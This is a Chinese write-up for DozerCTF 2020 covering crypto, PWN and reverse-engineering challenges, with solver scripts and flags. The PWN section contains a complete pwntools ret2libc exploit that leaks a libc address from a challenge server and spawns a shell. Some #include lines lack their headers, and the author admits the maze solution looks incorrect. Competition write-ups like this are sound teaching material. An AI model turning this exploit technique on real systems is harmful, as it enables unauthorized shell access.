DozerCTF 2020 WP

CRYPTO

真·签到

base64 + base32 + hex + base58

Dozerctf{base_family_is_so_good}

PWN

ret2 temp

from pwn import *
from LibcSearcher import LibcSearcher

remote_addr='118.31.11.216:36666'
remote_addr=remote_addr.split(':')
p=remote(remote_addr[0],int(remote_addr[1]))
elf=ELF('./pwn')

plt_write=elf.plt['write']
got_write=elf.got['write']
main_addr=0x804851F

#get GOT of write 
p.recvline()
shellcode='a'*(0x6c+4)+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)
p.sendline(shellcode)
write_addr=p.recv(4)
write_addr=write_addr.rjust(4,'\x00')
print('get write_addr:'+hex(u32(write_addr)))

#get base_addr of libc
libc=LibcSearcher('write',u32(write_addr))
base_addr=u32(write_addr)-libc.dump('write')
print('get base_addr of libc:'+hex(base_addr))

#get shell
p.recvline()
sys_addr=libc.dump('system')+base_addr
bin_addr=libc.dump('str_bin_sh')+base_addr
shellcode='a'*(0x6c+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
p.sendline(shellcode)

p.interactive()

RE

easy_maze

附件是exe文件,先查壳
DozerCTF 2020 WP_第1张图片
发现是upx壳,直接upx -d

脱壳后用运行发现闪退,用IDA打开查看
找到main函数
DozerCTF 2020 WP_第2张图片

发现无法直接查看伪代码

DozerCTF 2020 WP_第3张图片
将恶意抬栈的部分nop即可(上图灰色部分)

查看伪代码
DozerCTF 2020 WP_第4张图片
sub_4113C0函数通过遍历窗口名来检测调试器,方便后面调试,将其nop
整个程序的关键部分在sub_4111BD函数

查看伪代码,可以看到这里就是走迷宫的部分

地图
DozerCTF 2020 WP_第5张图片
观察伪代码发现每走一步都会调用一个函数,这些函数会对WASD数组进行变换,使下一步键盘的方向发生变化

这里要注意的地方是,IDA生成的伪代码出现了错误
DozerCTF 2020 WP_第6张图片

我们可以先找出方向不变化的路径,然后利用脚本找出方向变化后的输入

x = 'SSSSDDDWWWDDSSSSSAAAASSDDDDSSSDDWWWWDDDSSSSD'  # 方向不变化时的路径
x = x.lower()

dire = ['W', 'A', 'S', 'D']


def hang_dec():  # 0
    print(dire[0], end='')

    # print(dire)

    tmp = dire[0]
    dire[0] = dire[2]
    dire[2] = tmp


def lie_dec():  # 1
    print(dire[1], end='')

    # print(dire)

    tmp = dire[0]
    dire[0] = dire[1]
    dire[1] = dire[2]
    dire[2] = dire[3]
    dire[3] = tmp


def hang_inc():  # 2
    print(dire[2], end='')

    # print(dire)

    tmp = dire[3]
    dire[3] = dire[1]
    dire[1] = tmp
    tmp = dire[0]
    dire[0] = dire[2]
    dire[2] = tmp


def lie_inc():  # 3
    print(dire[3], end='')

    # print(dire)

    tmp = dire[3]
    dire[3] = dire[2]
    dire[2] = dire[1]
    dire[1] = dire[0]
    dire[0] = tmp


for i in x:
    if i == 'w':
        hang_dec()
    elif i == 'a':
        lie_dec()
    elif i == 's':
        hang_inc()
    else:
        lie_inc()

#SWSWDSAADAWADADADSAWDADWASDADASDDADAWASWSWSD

貌似有些不对

一个qt4写的程序,运行一直出错,直接静态逆了

IDA里面查看字符串,发现类似base64编码过的的字符串,下面又找到了修改过的base64 table
根据字符串找到了加密部分
DozerCTF 2020 WP_第7张图片
分析得知先通过栅栏密码加密,然后使用修改过的base64进行编码

栅栏密码直接从网上找了一个

#include 
#include 
#include 
#include 
using namespace std;
char flag[100] = {'D', 'r', '{', '_', '_', 'g', '_', '!', 'o', 'c', 'o', 'm', 'i', 'o', 'm', '}', 'z', 't', 'l', 'a', 's', 'o', 'a', 'e', 'f', 'd', 'n', '_', 'd', 'n'};
void func(int a)//offset
{
    char map[100][100] = {0};
    int num = strlen(flag) / a;
    int num1 = strlen(flag) % a;
    int p = (num1 != 0) ? 1 : 0;
    num += p;
    int k = 0;
    int tag = 0;
    p = 0;
    if (num1 != 0)
    {
        for (int i = 0; i < num1; i++)
        {
            for (int j = 0; j < num; j++)
            {
                if (p >= strlen(flag))
                {
                    tag = 1;
                    break;
                }
                map[j][i] = flag[p];
                p++;
            }
            if (tag == 1)
                break;
        }
        for (int i = num1; i < a; i++)
        {
            for (int j = 0; j < num - 1; j++)
            {
                if (p >= strlen(flag))
                {
                    tag = 1;
                    break;
                }
                map[j][i] = flag[p];
                p++;
            }
            if (tag == 1)
                break;
        }
    }
    else
    {
        for (int i = 0; i < a; i++)
        {
            for (int j = 0; j < num; j++)
            {
                if (p >= strlen(flag))
                {
                    tag = 1;
                    break;
                }
                map[j][i] = flag[p];
                p++;
            }
            if (tag == 1)
                break;
        }
    }
    char str1[1024] = {0};
    p = 0;
    for (int i = 0; i < num; i++)
    {
        for (int j = 0; j < a; j++)
        {
            if (map[i][j] == 0)
            {
                continue;
            }
            str1[p++] = map[i][j];
        }
    }
    for (int i = 0; i < 1024; i++)
        printf("%c", str1[i]);
}

int main()
{
    func(4);
    return 0;
}
//Dozerctf{old_man_is_good_man!}

dozer_vm_plus

一个虚拟机,解释器看起来很复杂,但是查看opcode发现只使用了几个简单的功能

写了个简单的指令解释器

code=[0x0000C362,0x00009C40,0x00000000,0x0000C362
    ,0x00009C41,......,0x00000000]
eip=0
while True:
    if code[eip]==0xC362:
        print('reg%d=stack[%d]'%(code[eip+1]-0x9c40+1,code[eip+2]))
        eip+=3
        continue
    elif code[eip]==0xC356:
        print('xor reg%d , reg%d'%(code[eip+1]-0x9c40+1,code[eip+2]-0x9c40+1))
        eip+=3
        continue
    elif code[eip]==0xC363:
        print('check flag')
        eip+=1

    else:
        break

得到代码

push 80
push 123
push 102
.....
push 101
push 45
push 105
reg1=0x40
reg2=0x1e
input
reg1=stack[0]
reg2=stack[64]
xor reg1 , reg2
check flag
reg1=stack[1]
reg2=stack[65]
xor reg1 , reg2
check flag
reg1=stack[2]
reg2=stack[66]
xor reg1 , reg2
check flag
reg1=stack[3]
reg2=stack[67]
xor reg1 , reg2
check flag
....
reg1=stack[26]
reg2=stack[90]
xor reg1 , reg2
check flag
reg1=stack[27]
reg2=stack[91]
xor reg1 , reg2
check flag
reg1=stack[28]
reg2=stack[92]
xor reg1 , reg2
check flag
reg1=stack[29]
reg2=stack[93]
xor reg1 , reg2
check flag

要注意的地方是在input时,对输入进行了处理
DozerCTF 2020 WP_第8张图片

DozerCtf{Dozer_VM_is_so_easy!}

easy_num

附件是x86 mips框架,用Ghidra打开

查看字符串时发现correct!和wrong!,找到引用的位置发现是main函数

查看伪代码得知,flag的格式和flag中的几个字母,flag长度为24
几个库函数的特征比较明显,直接猜即可

此时观察代码中某些地方,我们发现可以通过枚举来确定它们的值,程序的每一部分都可以枚举出几个字母,但要确定先后关系,最后将他们拼起来就可以得到flag

Ghidra生成的伪代码很规范,改动一小部分就可以正常跑起来

flag[0]=D
...
flag[7]=f
flag[8]={

flag[10]=u

flag[12]=_
flag[13]=i
flag[14]=s
flag[15]=_
#flag[16]=s
flag[17]=o
flag[18]=_
flag[19]=g
flag[20]=o
flag[21]=o
flag[22]=d
flag[23]=}
//Dozerctf{num_is_so_good}

部分枚举脚本

#include 
#include 

using namespace std;

unsigned int func(unsigned int a, unsigned int b)

{
  unsigned int a1;
  unsigned int a2;
  unsigned int a3;

  a3 = ~(a & b) & (a | b);
  a3 = a3 | a3 >> 1;
  a3 = a3 | a3 >> 2;
  a3 = a3 | a3 >> 4;
  a3 = a3 | a3 >> 8;
  a3 = a3 | a3 >> 0x10;
  a2 = ~(a3 & a3 >> 1) & (a3 | a3 >> 1) & a;
  a2 = a2 | a2 >> 1;
  a3 = a3 & 1 | (a3 & 1) << 1;
  a2 = a2 | a2 >> 2;
  a2 = a2 | a2 >> 4;
  a3 = a3 | a3 << 2;
  a2 = a2 | a2 >> 8;
  a2 = a2 | a2 >> 0x10;
  a3 = a3 | a3 << 4;
  a1 = a2 | a2 << 1;
  a1 = a1 | a1 << 2;
  a3 = a3 | a3 << 8;
  a1 = a1 | a1 << 4;
  a1 = a1 | a1 << 8;
  return (a2 & 1 | ~(a1 | a1 << 0x10)) & (a3 | a3 << 0x10);
}

int check(int a, int b)
{
  unsigned int a3, a2, a5, a4;

  a3 = 1;
  a2 = a;
  a5 = ~b;

  do
  {
    a4 = a3 & a5;
    a5 = a3 | a5;
    a3 = a4 << 1;
    a5 = ~a4 & a5;
  } while (a3 != 0);

  while (a5 != 0)
  {
    a3 = a2 & a5;
    a2 = a2 | a5;
    a5 = a3 << 1;
    a2 = ~a3 & a2;
  }

  if (a2 != 0xffffffff)
    return 0;
  return 1;
}

int main()
{

  for (int i = 0x20; i <= 0x80; i++)
    for (int j = 0x20; j <= 0x80; j++)
      if (check(i, j))
      {

        char flag[10] = {'{', 'x', 'u', 'x', '_', 'i', 's', '_'};
        flag[1] = i;
        flag[3] = j;
        unsigned int uVar2, uVar5, uVar3;
        uVar2 = 0;
        char i = 0;
        do
        {
          uVar5 = flag[i];
          while (uVar5 != 0)
          {
            uVar3 = uVar2 & uVar5;
            uVar2 = uVar2 | uVar5;
            uVar5 = uVar3 << 1;
            uVar2 = ~uVar3 & uVar2;
          }
          i++;
          uVar5 = 0;
        } while (i != 8);
        if (uVar2 == 869)
        {
          cout << flag << endl;
        }
      }
  //	char *flag="so_good}";
  //	unsigned int uVar2,uVar5,uVar3;
  //	uVar2 = 0;
  //    char i = 0;
  //    do {
  //      uVar5 = flag[i];
  //      while (uVar5 != 0) {
  //        uVar3 = uVar2 & uVar5;
  //        uVar2 = uVar2 | uVar5;
  //        uVar5 = uVar3 << 1;
  //        uVar2 = ~uVar3 & uVar2;
  //      }
  //      i++;
  //      uVar5 = 0;
  //    } while (i != 8);
  //
  //	cout<
  //
  //	//3332+x-0x13cc=871
  return 0;
}

你可能感兴趣的:(WP)